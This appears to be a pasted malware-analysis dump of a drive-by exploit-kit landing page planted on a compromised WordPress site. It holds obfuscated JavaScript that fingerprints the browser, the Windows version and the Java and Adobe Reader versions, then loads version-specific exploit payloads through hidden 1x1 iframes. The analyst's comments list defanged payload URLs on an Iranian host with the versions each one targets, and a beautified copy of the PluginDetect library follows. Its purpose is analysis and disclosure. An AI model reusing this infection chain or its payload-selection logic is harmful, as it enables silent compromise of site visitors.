f=this,e=f.$,c=f.$$,b=c.applet,a,d=0;if(e.win.loaded&&f.count>f.countMax){return 0}for(a=0;a<b.results.length;a++){if(b.HTML[a]){if(!e.win.loaded&&f.count>f.countMax&&e.codebase.checkGarbage(b.HTML[a].span)){d=1;b.HTML[a].DELETE=1}if(!d&&!b.results[a][0]&&(b.allowed[a]>=2||(b.allowed[a]==1&&!b.getResult()[0]))&&f.isAppletActive(a)>=0){return 1}}};return 0},isJavaActive:function(d){var f=this,c=f.$$,a,b,e=-9;for(a=0;a<c.applet.HTML.length;a++){b=f.isAppletActive(a,d);if(b>e){e=b}}return e},isAppletActive:function(e,g){var h=this,f=h.$,b=h.$$,l=b.navigator,a=b.applet,i=a.HTML[e],d=a.active,k,c=0,j,m=d[e];if(g||m>=1.5||!i||!i.span){return m};j=f.DOM.getTagStatus(i,a.DummySpanTagHTML,a.DummyObjTagHTML,a.DummyObjTagHTML2,h.count);for(k=0;k<d.length;k++){if(d[k]>0){c=1}}if(j!=1){m=j}else{if(f.isIE||(b.version0&&l.javaEnabled()&&l.mimeObj&&(i.tagName=="object"||c))){m=1}else{m=0}}d[e]=m;return m},winOnLoadQuery:function(c,d){var b=d.$$,a;if(b.OTF==3){a=d.queryAllApplets();d.queryCompleted(a)}},$$onIntervalQuery:function(d){var c=d.$,b=d.$$,a;if(b.OTF==3){a=d.queryAllApplets();if(!d.shouldContinueQuery()){d.queryCompleted(a)}}d.count++;if(b.OTF==3){setTimeout(d.onIntervalQuery,d.intervalLength)}},queryAllApplets:function(){var f=this,e=f.$,d=f.$$,c=d.applet,b,a;for(b=0;b<c.results.length;b++){c.query(b)}a=c.getResult();return a},queryCompleted:function(c){var g=this,f=g.$,e=g.$$,d=e.applet,b;if(e.OTF>=4){return}e.OTF=4;var a=g.isJavaActive();for(b=0;b<d.HTML.length;b++){if(d.HTML[b]&&d.HTML[b].DELETE){f.DOM.emptyNode(d.HTML[b].span);d.HTML[b].span=null}}e.setPluginStatus(c[0],c[1],0);if(f.onDetectionDone&&e.funcs){f.ev.callArray(e.funcs)}if(f.DOM){f.DOM.onDoneEmptyDiv()}}},zz:0},adobereader:{$:1,setPluginStatus:function(){var d=this,b=d.$,a=d.navPlugin.detected,e=d.navPlugin.version,g=d.axo.detected,c=d.axo.version,i=d.doc.detected,h=d.doc.version,f=e||c||h||null;d.installed=f?1:(a>0||g>0||i>0?0:(i==-0.5?-0.15:(b.isIE&&(!b.ActiveXEnabled||b.ActiveXFilteringEnabled)?-1.5:-1)));d.version=b.formatNum(f)},getVersion:function(c,e){var a=this,d=a.$,b=0;if((!b||d.dbug)&&a.navPlugin.query().detected>0){b=1}if((!b||d.dbug)&&a.axo.query().detected>0){b=1}if((!b||d.dbug)&&(a.doc.query().detected>0||a.doc.detected==-0.5)){b=1}a.setPluginStatus()},navPlugin:{$:1,detected:0,version:null,mimeType:"application/pdf",isDisabled:function(){var c=this,b=c.$,a=c.$$;return b.isIE||c.detected||!b.hasMimeType(c.mimeType)?1:0},attempt3:function(){var c=this,b=c.$,a=null;if(b.OS==1){if(b.hasMimeType("application/vnd.adobe.pdfxml")){a="9"}else{if(b.hasMimeType("application/vnd.adobe.x-mars")){a="8"}else{if(b.hasMimeType("application/vnd.adobe.xfdf")){a="6"}}}}return a},query:function(){var d=this,c=d.$,a=d.$$,f,e,b=null;if(d.isDisabled()){return d};f="Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";e=c.findNavPlugin(f,0);d.detected=e?1:-1;if(e){b=c.getNum(e.description)||c.getNum(e.name);b=c.getPluginFileVersion(e,b);if(!b){b=d.attempt3()}}if(b){d.version=b};return d}},pluginQuery:function(j){var f=this,d=f.$,b="",h=null,g,a,i,c;try{if(j){b=j.GetVersions()}}catch(g){}if(b&&d.isString(b)){a=/=\s*([\d\.]+)/g;for(i=0;i<30;i++){if(a.test(b)){c=d.formatNum(RegExp.$1);if(!h||d.compareNums(c>h)>0){h=c}}else{break}}}return h},axo:{$:1,detected:0,version:null,progID:["AcroPDF.PDF","AcroPDF.PDF.1","PDF.PdfCtrl","PDF.PdfCtrl.5","PDF.PdfCtrl.1"],isDisabled:function(){var b=this,c=b.$,a=b.$$;return c.isIE&&!b.detected?0:1},query:function(){var d=this,e=d.$,b=d.$$,f=0,c=null,a;if(d.isDisabled()){return d};for(a=0;a<d.progID.length;a++){f=e.getAXO(d.progID[a]);if(f){d.detected=1;c=b.pluginQuery(f);if(!e.dbug&&c){break}}}d.version=c?c:null;if(d.detected===0){d.detected=-1};return d}},doc:{$:1,detected:0,version:null,classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",classID_dummy:"clsid:CA8A9780-280D-11CF-A24D-BA9876543210",DummySpanTagHTML:0,HTML:0,DummyObjTagHTML1:0,DummyObjTagHTML2:0,isDisabled:function(){var c=this,b=c.$,a=0;if(c.detected){a=1}else{if(b.dbug){}else{if(!b.isIE||!b.DOM.isEnabled.objectTag()){a=1}}}return a},query:function(){var i=this,d=i.$,f=i.$$,h=null,a=d.DOM.altHTML,g=null,c=1,e=1,b;if(i.isDisabled()){return i};if(!i.DummySpanTagHTML){i.DummySpanTagHTML=d.DOM.insert("",[],[],a,f,e)}if(!i.HTML){i.HTML=d.DOM.insert("object",["classid",i.classID],[],a,f,e)}if(!i.DummyObjTagHTML2){i.DummyObjTagHTML2=d.DOM.insert("object",["classid",i.classID_dummy],[],a,f,e)}b=d.DOM.getTagStatus(i.HTML,i.DummySpanTagHTML,i.DummyObjTagHTML1,i.DummyObjTagHTML2,g,c);h=f.pluginQuery(i.HTML.obj());i.detected=b>0||h?1:(b==-0.1||b==-0.5?-0.5:-1);i.version=h?h:null;return i}}},zz:0}};PluginDetect.INIT();function PcyjjcB(QXRwqr){var NxZFu = PluginDetect.getVersion(QXRwqr);if(NxZFu != null){return DzIEPNhc(NxZFu);}else{return null;}}function ipzPNmQxc(QEzGR){if(QEzGR != null){var BZIMlJFt = parseFloat(QEzGR[1] + "." + QEzGR[3]);if(QEzGR[0] == 1 && BZIMlJFt <= 6.32){TQGRXSEi();}else if(QEzGR[0] == 1 && BZIMlJFt <= 7.17){IuJKUxe();}/*else{IuJKUxe();}*/}}function nekTVLCFu() { PXTLS('/wp-includes/pomo/dtsrc.php?a=h5', 'text/html'); }function IuJKUxe() { PXTLS('/wp-includes/pomo/dtsrc.php?a=h2', 'text/html'); }function DzIEPNhc(NxZFu){var MRZvEcxG = new Array;try{MRZvEcxG = NxZFu.split(',');for(jBxaKE = 0; jBxaKE < MRZvEcxG.size; jBxaKE++){MRZvEcxG[jBxaKE] = parseFloat(MRZvEcxG[jBxaKE]);}}catch(BeerBZu){return null;}return MRZvEcxG;}function vZfpbBKzh() { PXTLS('/wp-includes/pomo/dtsrc.php?a=h3', 'text/html'); }function pPDjhQv() { return; }function eeguOzpz(UyEllYwYss){if(UyEllYwYss != null){var BZIMlJFt = parseFloat(UyEllYwYss[1] + "." + UyEllYwYss[2]);if(UyEllYwYss[0] == 9 && BZIMlJFt <= 3.4){VcXjat();}if(UyEllYwYss[0] == 9 && BZIMlJFt <= 4.0){pPDjhQv();}else if(UyEllYwYss[0] < 9){pPDjhQv();}if(UyEllYwYss[0] == 10 && UyEllYwYss[1] == 1){YjGGR();}/*else{pPDjhQv();}*/}}function fPVoBak(){var WLtIYJZDWQQ = UIlKdBdnO();if (WLtIYJZDWQQ != null){if (WLtIYJZDWQQ == 'msie'){try { return parseFloat(CzdxtSXz.match(/msie ([\d]+)\.[\d]+/)[1]);}catch(BeerBZu) { return null;}}if (WLtIYJZDWQQ == 'firefox'){try { return parseFloat(CzdxtSXz.match(/firefox\/([\d]+)\.[\d]+/)[1]);}catch(BeerBZu) { return null;}}}return null;}function YQnBLMyY() { PXTLS('/wp-includes/pomo/dtsrc.php?a=h6', 'text/html'); }function PPnprFkcx(){var znQAdpi = 0;var IGwyvnqihKC = 0;try{znQAdpi = new ActiveXObject("SharePoint.OpenDocuments.4");}catch (e) {}try{IGwyvnqihKC = new ActiveXObject("SharePoint.OpenDocuments.3");}catch (e) {}if ((typeof znQAdpi) == "object" && (typeof IGwyvnqihKC) == "object"){return "2010";}else if ((typeof znQAdpi) == "number" && (typeof IGwyvnqihKC) == "object"){return "2007";}return null;}function KzRIuDdJ(QEzGR){if(QEzGR != null){if(QEzGR[0] == 1 && QEzGR[1] == 7 && QEzGR[3] <= 17){vZfpbBKzh();}}}function YnuLXRygeP() { PXTLS('/wp-includes/pomo/dtsrc.php?a=h4', 'text/html'); }function UIlKdBdnO(){if (CzdxtSXz.indexOf('msie') != -1 && CzdxtSXz.indexOf('opera') == -1 && CzdxtSXz.indexOf('webtv') == -1){return 'msie'}if (CzdxtSXz.indexOf('opera') != -1){return 'opera'}if (CzdxtSXz.indexOf('firefox') != -1){return 'firefox';}return null;}function pMuJUQa(){return PcyjjcB("Java");}function VcXjat() { return; }function PXTLS(bVVpcDYN, UgfEmMfy){try { var sevqAkcRBI=document.createElement('iframe'); sevqAkcRBI.style.visibility='hidden'; sevqAkcRBI.height=1; sevqAkcRBI.src=bVVpcDYN; sevqAkcRBI.async=true; sevqAkcRBI.width=1; sevqAkcRBI.type=UgfEmMfy; document.body.appendChild(sevqAkcRBI);}catch (BeerBZu) { return null;}}function TQGRXSEi() { PXTLS('/wp-includes/pomo/dtsrc.php?a=h7', 'text/html'); }function xAtqjEshx(){var NVDGXp = fPVoBak();var hapkhUyCQ = UIlKdBdnO();var ZooVPohAB = KKYaG();/*var pUcLru = PPnprFkcx();*/var uwRBqOEcl = zzaRNJ();if(hapkhUyCQ == 'msie' && NVDGXp == 7 && ZooVPohAB < 6){nekTVLCFu();var QEzGR = pMuJUQa();if(QEzGR != null){setTimeout(function(){ ipzPNmQxc(QEzGR); }, 3000);}return;}if(hapkhUyCQ == 'msie' && NVDGXp == 8 && ZooVPohAB < 6){YQnBLMyY();var QEzGR = pMuJUQa();if(QEzGR != null){setTimeout(function(){ ipzPNmQxc(QEzGR); }, 3000);}return;}if(hapkhUyCQ == 'msie' && NVDGXp == 6 && ZooVPohAB < 6){YnuLXRygeP();var QEzGR = pMuJUQa();if(QEzGR != null){setTimeout(function(){ ipzPNmQxc(QEzGR); }, 3000);}return;}var QEzGR = pMuJUQa();if(QEzGR != null && ZooVPohAB != null){if(hapkhUyCQ == 'chrome'){KzRIuDdJ(QEzGR);}else{ipzPNmQxc(QEzGR);}}}function ekUwwyBtM(){return PcyjjcB("AdobeReader");}function YjGGR() { return; }function KKYaG(){try { return parseFloat(CzdxtSXz.match(/windows nt ([\d]+)\.[\d]+/)[1]);}catch(BeerBZu) { return null;}}function zzaRNJ(){if (CzdxtSXz.indexOf('wow64') != -1){return '64';}else{return '32';}}var CzdxtSXz = navigator.userAgent.toLowerCase();xAtqjEshx();</script></body></html>$
  866.  
  867. // unixfreaxjp
  868. // Exploit logic is as per below:
  869.  
  870. h00p://mahsms.ir/wp-includes/pomo/dtsrc.php?a=h2 Non IE Java <= 1.7.17
  871. h00p://mahsms.ir/wp-includes/pomo/dtsrc.php?a=h3 IE 7 Java <= 1.7.17
  872. h00p://mahsms.ir/wp-includes/pomo/dtsrc.php?a=h4 IE 6 Win < 6
  873. h00p://mahsms.ir/wp-includes/pomo/dtsrc.php?a=h5 IE 7 Win/NT < 6 Java <= 1.7.17
  874. h00p://mahsms.ir/wp-includes/pomo/dtsrc.php?a=h6 IE 8 Win < 6
  875. h00p://mahsms.ir/wp-includes/pomo/dtsrc.php?a=h7 Non IE Java <= 1.6.32
  876.  
  877. // Note: but the API looks supporting to non IE like Chrome & Firefox too actually.
  878. // I saw no link went from the PDF (Adobe Reader) weapon.
  879.  
  880. // unixfreaxjp:
  881. // PluginDetect Beautified w/ fll HTML below, see its codes, is fun
  882. // to learn how condition are stated to exploit in the below parts.
  883. // hope someone can have contacts with Iranian CERT for this...
  884. //
  885.  
  886. <html>
  887.  
  888. <head></head>
  889.  
  890. <body>
  891.     <script type='text/javascript'>
  892.         /*PluginDetect v0.8.3www.pinlady.net/PluginDetect/license/[ getVersion hasMimeType onDetectionDone ][ Java AdobeReader ]*/
  893.         var PluginDetect = {
  894.             version: "0.8.3",
  895.             name: "PluginDetect",
  896.             openTag: "<",
  897.             isDefined: function (b) {
  898.                 return typeof b != "undefined"
  899.             },
  900.             isArray: function (b) {
  901.                 return (/array/i).test(Object.prototype.toString.call(b))
  902.             },
  903.             isFunc: function (b) {
  904.                 return typeof b == "function"
  905.             },
  906.             isString: function (b) {
  907.                 return typeof b == "string"
  908.             },
  909.             isNum: function (b) {
  910.                 return typeof b == "number"
  911.             },
  912.             isStrNum: function (b) {
  913.                 return (typeof b == "string" && (/\d/).test(b))
  914.             },
  915.             getNumRegx: /[\d][\d\.\_,\-]*/,
  916.             splitNumRegx: /[\.\_,\-]/g,
  917.             getNum: function (b, c) {
  918.                 var d = this,
  919.                     a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  920.                 return a ? a[0] : null
  921.             },
  922.             compareNums: function (h, f, d) {
  923.                 var e = this,
  924.                     c, b, a, g = parseInt;
  925.                 if (e.isStrNum(h) && e.isStrNum(f)) {
  926.                     if (e.isDefined(d) && d.compareNums) {
  927.                         return d.compareNums(h, f)
  928.                     }
  929.                     c = h.split(e.splitNumRegx);
  930.                     b = f.split(e.splitNumRegx);
  931.                     for (a = 0; a < Math.min(c.length, b.length); a++) {
  932.                         if (g(c[a], 10) > g(b[a], 10)) {
  933.                             return 1
  934.                         }
  935.                         if (g(c[a], 10) < g(b[a], 10)) {
  936.                             return -1
  937.                         }
  938.                     }
  939.                 }
  940.                 return 0
  941.             },
  942.             formatNum: function (b, c) {
  943.                 var d = this,
  944.                     a, e;
  945.                 if (!d.isStrNum(b)) {
  946.                     return null
  947.                 }
  948.                 if (!d.isNum(c)) {
  949.                     c = 4
  950.                 }
  951.                 c--;
  952.                 e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  953.                 for (a = 0; a < 4; a++) {
  954.                     if (/^(0+)(.+)$/.test(e[a])) {
  955.                         e[a] = RegExp.$2
  956.                     }
  957.                     if (a > c || !(/\d/).test(e[a])) {
  958.                         e[a] = "0"
  959.                     }
  960.                 }
  961.                 return e.slice(0, 4).join(",")
  962.             },
  963.             getPROP: function (d, b, a) {
  964.                 var c;
  965.                 try {
  966.                     if (d) {
  967.                         a = d[b]
  968.                     }
  969.                 } catch (c) {}
  970.                 return a
  971.             },
  972.             findNavPlugin: function (l, e, c) {
  973.                 var j = this,
  974.                     h = new RegExp(l, "i"),
  975.                     d = (!j.isDefined(e) || e) ? /\d/ : 0,
  976.                     k = c ? new RegExp(c, "i") : 0,
  977.                     a = navigator.plugins,
  978.                     g = "",
  979.                     f, b, m;
  980.                 for (f = 0; f < a.length; f++) {
  981.                     m = a[f].description || g;
  982.                     b = a[f].name || g;
  983.                     if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  984.                         if (!k || !(k.test(m) || k.test(b))) {
  985.                             return a[f]
  986.                         }
  987.                     }
  988.                 }
  989.                 return null
  990.             },
  991.             getMimeEnabledPlugin: function (k, m, c) {
  992.                 var e = this,
  993.                     f, b = new RegExp(m, "i"),
  994.                     h = "",
  995.                     g = c ? new RegExp(c, "i") : 0,
  996.                     a, l, d, j = e.isString(k) ? [k] : k;
  997.                 for (d = 0; d < j.length; d++) {
  998.                     if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) {
  999.                         l = f.description || h;
  1000.                         a = f.name || h;
  1001.                         if (b.test(l) || b.test(a)) {
  1002.                             if (!g || !(g.test(l) || g.test(a))) {
  1003.                                 return f
  1004.                             }
  1005.                         }
  1006.                     }
  1007.                 }
  1008.                 return 0
  1009.             },
  1010.             getVersionDelimiter: ",",
  1011.             findPlugin: function (d) {
  1012.                 var c = this,
  1013.                     b, d, a = {
  1014.                         status: -3,
  1015.                         plugin: 0
  1016.                     };
  1017.                 if (c.DOM) {
  1018.                     c.DOM.initDiv()
  1019.                 }
  1020.                 if (!c.isString(d)) {
  1021.                     return a
  1022.                 }
  1023.                 if (d.length == 1) {
  1024.                     c.getVersionDelimiter = d;
  1025.                     return a
  1026.                 }
  1027.                 d = d.toLowerCase().replace(/\s/g, "");
  1028.                 b = c.Plugins[d];
  1029.                 if (!b || !b.getVersion) {
  1030.                     return a
  1031.                 }
  1032.                 a.plugin = b;
  1033.                 a.status = 1;
  1034.                 return a
  1035.             },
  1036.             getPluginFileVersion: function (f, b) {
  1037.                 var h = this,
  1038.                     e, d, g, a, c = -1;
  1039.                 if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) {
  1040.                     return b
  1041.                 }
  1042.                 if (!b) {
  1043.                     return e
  1044.                 }
  1045.                 e = h.formatNum(e);
  1046.                 b = h.formatNum(b);
  1047.                 d = b.split(h.splitNumRegx);
  1048.                 g = e.split(h.splitNumRegx);
  1049.                 for (a = 0; a < d.length; a++) {
  1050.                     if (c > -1 && a > c && d[a] != "0") {
  1051.                         return b
  1052.                     }
  1053.                     if (g[a] != d[a]) {
  1054.                         if (c == -1) {
  1055.                             c = a
  1056.                         }
  1057.                         if (d[a] != "0") {
  1058.                             return b
  1059.                         }
  1060.                     }
  1061.                 }
  1062.                 return e
  1063.             },
  1064.             AXO: window.ActiveXObject,
  1065.             getAXO: function (a) {
  1066.                 var d = null,
  1067.                     c, b = this;
  1068.                 try {
  1069.                     d = new b.AXO(a)
  1070.                 } catch (c) {};
  1071.                 return d
  1072.             },
  1073.             INIT: function () {
  1074.                 this.init.library(this)
  1075.             },
  1076.             init: {
  1077.                 $: 1,
  1078.                 hasRun: 0,
  1079.                 objProperties: function (d, e, b) {
  1080.                     var a, c = {};
  1081.                     if (e && b) {
  1082.                         if (e[b[0]] === 1 && !d.isArray(e) && !d.isFunc(e) && !d.isString(e) && !d.isNum(e)) {
  1083.                             for (a = 0; a < b.length; a = a + 2) {
  1084.                                 e[b[a]] = b[a + 1];
  1085.                                 c[b[a]] = 1
  1086.                             }
  1087.                         }
  1088.                         for (a in e) {
  1089.                             if (!c[a] && e[a] && e[a][b[0]] === 1) {
  1090.                                 this.objProperties(d, e[a], b)
  1091.                             }
  1092.                         }
  1093.                     }
  1094.                 },
  1095.                 publicMethods: function (c, f) {
  1096.                     var g = this,
  1097.                         b = g.$,
  1098.                         a, d;
  1099.                     if (c && f) {
  1100.                         for (a in c) {
  1101.                             try {
  1102.                                 if (b.isFunc(c[a])) {
  1103.                                     f[a] = c[a](f)
  1104.                                 }
  1105.                             } catch (d) {}
  1106.                         }
  1107.                     }
  1108.                 },
  1109.                 plugin: function (a, c) {
  1110.                     var d = this,
  1111.                         b = d.$;
  1112.                     if (a) {
  1113.                         d.objProperties(b, a, ["$", b, "$$", a]);
  1114.                         if (!b.isDefined(a.getVersionDone)) {
  1115.                             a.installed = null;
  1116.                             a.version = null;
  1117.                             a.version0 = null;
  1118.                             a.getVersionDone = null;
  1119.                             a.pluginName = c
  1120.                         }
  1121.                     }
  1122.                 },
  1123.                 detectIE: function () {
  1124.                     var init = this,
  1125.                         $ = init.$,
  1126.                         doc = document,
  1127.                         e, x, userAgent = navigator.userAgent || "",
  1128.                         progid, progid1, progid2;
  1129.                     $.isIE = eval("/*@cc_on!@*/!1");
  1130.                     $.verIE = $.isIE ? ((/^(?:.*?[^a-zA-Z])??(?:MSIE|IE)\s*(\d+\.?\d*)/i).test(userAgent) ? parseFloat(RegExp.$1, 10) : 7) : null;
  1131.                     $.ActiveXEnabled = !1;
  1132.                     $.ActiveXFilteringEnabled = !1;
  1133.                     if ($.isIE) {
  1134.                         try {
  1135.                             $.ActiveXFilteringEnabled = window.external.msActiveXFilteringEnabled()
  1136.                         } catch (e) {}
  1137.                         progid1 = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "TDCCtl.TDCCtl", "Shell.UIHelper", "HtmlDlgSafeHelper.HtmlDlgSafeHelper", "Scripting.Dictionary"];
  1138.                         progid2 = ["WMPlayer.OCX", "ShockwaveFlash.ShockwaveFlash", "AgControl.AgControl", ];
  1139.                         progid = progid1.concat(progid2);
  1140.                         for (x = 0; x < progid.length; x++) {
  1141.                             if ($.getAXO(progid[x])) {
  1142.                                 $.ActiveXEnabled = !0;
  1143.                                 if (!$.dbug) {
  1144.                                     break
  1145.                                 }
  1146.                             }
  1147.                         }
  1148.                         if ($.ActiveXEnabled && $.ActiveXFilteringEnabled) {
  1149.                             for (x = 0; x < progid2.length; x++) {
  1150.                                 if ($.getAXO(progid2[x])) {
  1151.                                     $.ActiveXFilteringEnabled = !1;
  1152.                                     break
  1153.                                 }
  1154.                             }
  1155.                         }
  1156.                     }
  1157.                 },
  1158.                 detectNonIE: function () {
  1159.                     var e = this,
  1160.                         c = this.$,
  1161.                         d = navigator,
  1162.                         b = c.isIE ? "" : d.userAgent || "",
  1163.                         f = d.vendor || "",
  1164.                         a = d.product || "";
  1165.                     c.isGecko = (/Gecko/i).test(a) && (/Gecko\s*\/\s*\d/i).test(b);
  1166.                     c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(b) ? RegExp.$1 : "0.9") : null;
  1167.                     c.isChrome = (/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(b);
  1168.                     c.verChrome = c.isChrome ? c.formatNum(RegExp.$2) : null;
  1169.                     c.isSafari = !c.isChrome && ((/Apple/i).test(f) || !f) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(b);
  1170.                     c.verSafari = c.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(b) ? c.formatNum(RegExp.$1) : null;
  1171.                     c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(b);
  1172.                     c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(b) || 1) ? parseFloat(RegExp.$1, 10) : null
  1173.                 },
  1174.                 detectPlatform: function () {
  1175.                     var e = this,
  1176.                         d = e.$,
  1177.                         b, a = navigator.platform || "";
  1178.                     d.OS = 100;
  1179.                     if (a) {
  1180.                         var c = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, "", 100];
  1181.                         for (b = c.length - 2; b >= 0; b = b - 2) {
  1182.                             if (c[b] && new RegExp(c[b], "i").test(a)) {
  1183.                                 d.OS = c[b + 1];
  1184.                                 break
  1185.                             }
  1186.                         }
  1187.                     }
  1188.                 },
  1189.                 library: function (c) {
  1190.                     var e = this,
  1191.                         d = document,
  1192.                         b, a;
  1193.                     c.init.objProperties(c, c, ["$", c]);
  1194.                     for (a in c.Plugins) {
  1195.                         c.init.plugin(c.Plugins[a], a)
  1196.                     }
  1197.                     e.publicMethods(c.PUBLIC, c);
  1198.                     c.win.init();
  1199.                     c.head = d.getElementsByTagName("head")[0] || d.getElementsByTagName("body")[0] || d.body || null;
  1200.                     e.detectPlatform();
  1201.                     e.detectIE();
  1202.                     e.detectNonIE();
  1203.                     c.init.hasRun = 1
  1204.                 }
  1205.             },
  1206.             ev: {
  1207.                 $: 1,
  1208.                 handler: function (c, b, a) {
  1209.                     return function () {
  1210.                         c(b, a)
  1211.                     }
  1212.                 },
  1213.                 fPush: function (b, a) {
  1214.                     var c = this,
  1215.                         d = c.$;
  1216.                     if (d.isArray(a) && (d.isFunc(b) || (d.isArray(b) && b.length > 0 && d.isFunc(b[0])))) {
  1217.                         a.push(b)
  1218.                     }
  1219.                 },
  1220.                 callArray: function (a) {
  1221.                     var b = this,
  1222.                         d = b.$,
  1223.                         c;
  1224.                     if (d.isArray(a)) {
  1225.                         while (a.length) {
  1226.                             c = a[0];
  1227.                             a.splice(0, 1);
  1228.                             b.call(c)
  1229.                         }
  1230.                     }
  1231.                 },
  1232.                 call: function (d) {
  1233.                     var b = this,
  1234.                         c = b.$,
  1235.                         a = c.isArray(d) ? d.length : -1;
  1236.                     if (a > 0 && c.isFunc(d[0])) {
  1237.                         d[0](c, a > 1 ? d[1] : 0, a > 2 ? d[2] : 0, a > 3 ? d[3] : 0)
  1238.                     } else {
  1239.                         if (c.isFunc(d)) {
  1240.                             d(c)
  1241.                         }
  1242.                     }
  1243.                 }
  1244.             },
  1245.             PUBLIC: {
  1246.                 getVersion: function (b) {
  1247.                     var a = function (h, e, d) {
  1248.                         var f = b.findPlugin(h),
  1249.                             g, c;
  1250.                         if (f.status < 0) {
  1251.                             return null
  1252.                         };
  1253.                         g = f.plugin;
  1254.                         if (g.getVersionDone != 1) {
  1255.                             g.getVersion(null, e, d);
  1256.                             if (g.getVersionDone === null) {
  1257.                                 g.getVersionDone = 1
  1258.                             }
  1259.                         }
  1260.                         c = (g.version || g.version0);
  1261.                         c = c ? c.replace(b.splitNumRegx, b.getVersionDelimiter) : c;
  1262.                         return c
  1263.                     };
  1264.                     return a
  1265.                 },
  1266.                 onDetectionDone: function (b) {
  1267.                     var a = function (j, h, d, c) {
  1268.                         var e = b.findPlugin(j),
  1269.                             k, g;
  1270.                         if (e.status == -3) {
  1271.                             return -1
  1272.                         }
  1273.                         g = e.plugin;
  1274.                         if (!b.isArray(g.funcs)) {
  1275.                             g.funcs = []
  1276.                         };
  1277.                         if (g.getVersionDone != 1) {
  1278.                             k = b.getVersion ? b.getVersion(j, d, c) : b.isMinVersion(j, "0", d, c)
  1279.                         }
  1280.                         if (g.installed != -0.5 && g.installed != 0.5) {
  1281.                             b.ev.call(h);
  1282.                             return 1
  1283.                         }
  1284.                         b.ev.fPush(h, g.funcs);
  1285.                         return 0
  1286.                     };
  1287.                     return a
  1288.                 },
  1289.                 hasMimeType: function (b) {
  1290.                     var a = function (d) {
  1291.                         if (!b.isIE && d && navigator && navigator.mimeTypes) {
  1292.                             var g, f, c, e = b.isArray(d) ? d : (b.isString(d) ? [d] : []);
  1293.                             for (c = 0; c < e.length; c++) {
  1294.                                 if (b.isString(e[c]) && /[^\s]/.test(e[c])) {
  1295.                                     g = navigator.mimeTypes[e[c]];
  1296.                                     f = g ? g.enabledPlugin : 0;
  1297.                                     if (f && (f.name || f.description)) {
  1298.                                         return g
  1299.                                     }
  1300.                                 }
  1301.                             }
  1302.                         }
  1303.                         return null
  1304.                     };
  1305.                     return a
  1306.                 },
  1307.                 z: 0
  1308.             },
  1309.             codebase: {
  1310.                 $: 1,
  1311.                 isDisabled: function () {
  1312.                     var a = this,
  1313.                         b = a.$;
  1314.                     return b.ActiveXEnabled && b.isIE && b.verIE >= 7 ? 0 : 1
  1315.                 },
  1316.                 checkGarbage: function (d) {
  1317.                     var b = this,
  1318.                         c = b.$,
  1319.                         a;
  1320.                     if (c.isIE && d && c.getPROP(d.firstChild, "object")) {
  1321.                         a = c.getPROP(d.firstChild, "readyState");
  1322.                         if (c.isNum(a) && a != 4) {
  1323.                             b.garbage = 1;
  1324.                             return 1
  1325.                         }
  1326.                     }
  1327.                     return 0
  1328.                 },
  1329.                 emptyGarbage: function () {
  1330.                     var a = this,
  1331.                         b = a.$,
  1332.                         c;
  1333.                     if (b.isIE && a.garbage) {
  1334.                         try {
  1335.                             window.CollectGarbage()
  1336.                         } catch (c) {}
  1337.                         a.garbage = 0
  1338.                     }
  1339.                 },
  1340.                 init: function (e) {
  1341.                     if (!e.init) {
  1342.                         var c = this,
  1343.                             d = c.$,
  1344.                             a, b;
  1345.                         e.init = 1;
  1346.                         e.min = 0;
  1347.                         e.max = 0;
  1348.                         e.hasRun = 0;
  1349.                         e.version = null;
  1350.                         e.L = 0;
  1351.                         e.altHTML = "";
  1352.                         e.span = document.createElement("span");
  1353.                         e.tagA = '<object width="1" height="1" style="display:none;" codebase="#version=';
  1354.                         b = e.classID || e.$$.classID || "";
  1355.                         e.tagB = '" ' + ((/clsid\s*:/i).test(b) ? 'classid="' : 'type="') + b + '">' + e.altHTML + d.openTag + "/object>";
  1356.                         for (a = 0; a < e.Lower.length; a++) {
  1357.                             e.Lower[a] = d.formatNum(e.Lower[a]);
  1358.                             e.Upper[a] = d.formatNum(e.Upper[a])
  1359.                         }
  1360.                     }
  1361.                 },
  1362.                 isActiveXObject: function (i, b) {
  1363.                     var f = this,
  1364.                         g = f.$,
  1365.                         a = 0,
  1366.                         h, d = i.$$,
  1367.                         c = i.span;
  1368.                     if (i.min && g.compareNums(b, i.min) <= 0) {
  1369.                         return 1
  1370.                     }
  1371.                     if (i.max && g.compareNums(b, i.max) >= 0) {
  1372.                         return 0
  1373.                     }
  1374.                     c.innerHTML = i.tagA + b + i.tagB;
  1375.                     if (g.getPROP(c.firstChild, "object")) {
  1376.                         a = 1
  1377.                     };
  1378.                     f.checkGarbage(c);
  1379.                     c.innerHTML = "";
  1380.                     if (a) {
  1381.                         i.min = b
  1382.                     } else {
  1383.                         i.max = b
  1384.                     }
  1385.                     return a
  1386.                 },
  1387.                 convert_: function (f, a, b, e) {
  1388.                     var d = f.convert[a],
  1389.                         c = f.$;
  1390.                     return d ? (c.isFunc(d) ? c.formatNum(d(b.split(c.splitNumRegx), e).join(",")) : b) : d
  1391.                 },
  1392.                 convert: function (h, c, g) {
  1393.                     var e = this,
  1394.                         f = h.$,
  1395.                         b, a, d;
  1396.                     c = f.formatNum(c);
  1397.                     a = {
  1398.                         v: c,
  1399.                         x: -1
  1400.                     };
  1401.                     if (c) {
  1402.                         for (b = 0; b < h.Lower.length; b++) {
  1403.                             d = e.convert_(h, b, h.Lower[b]);
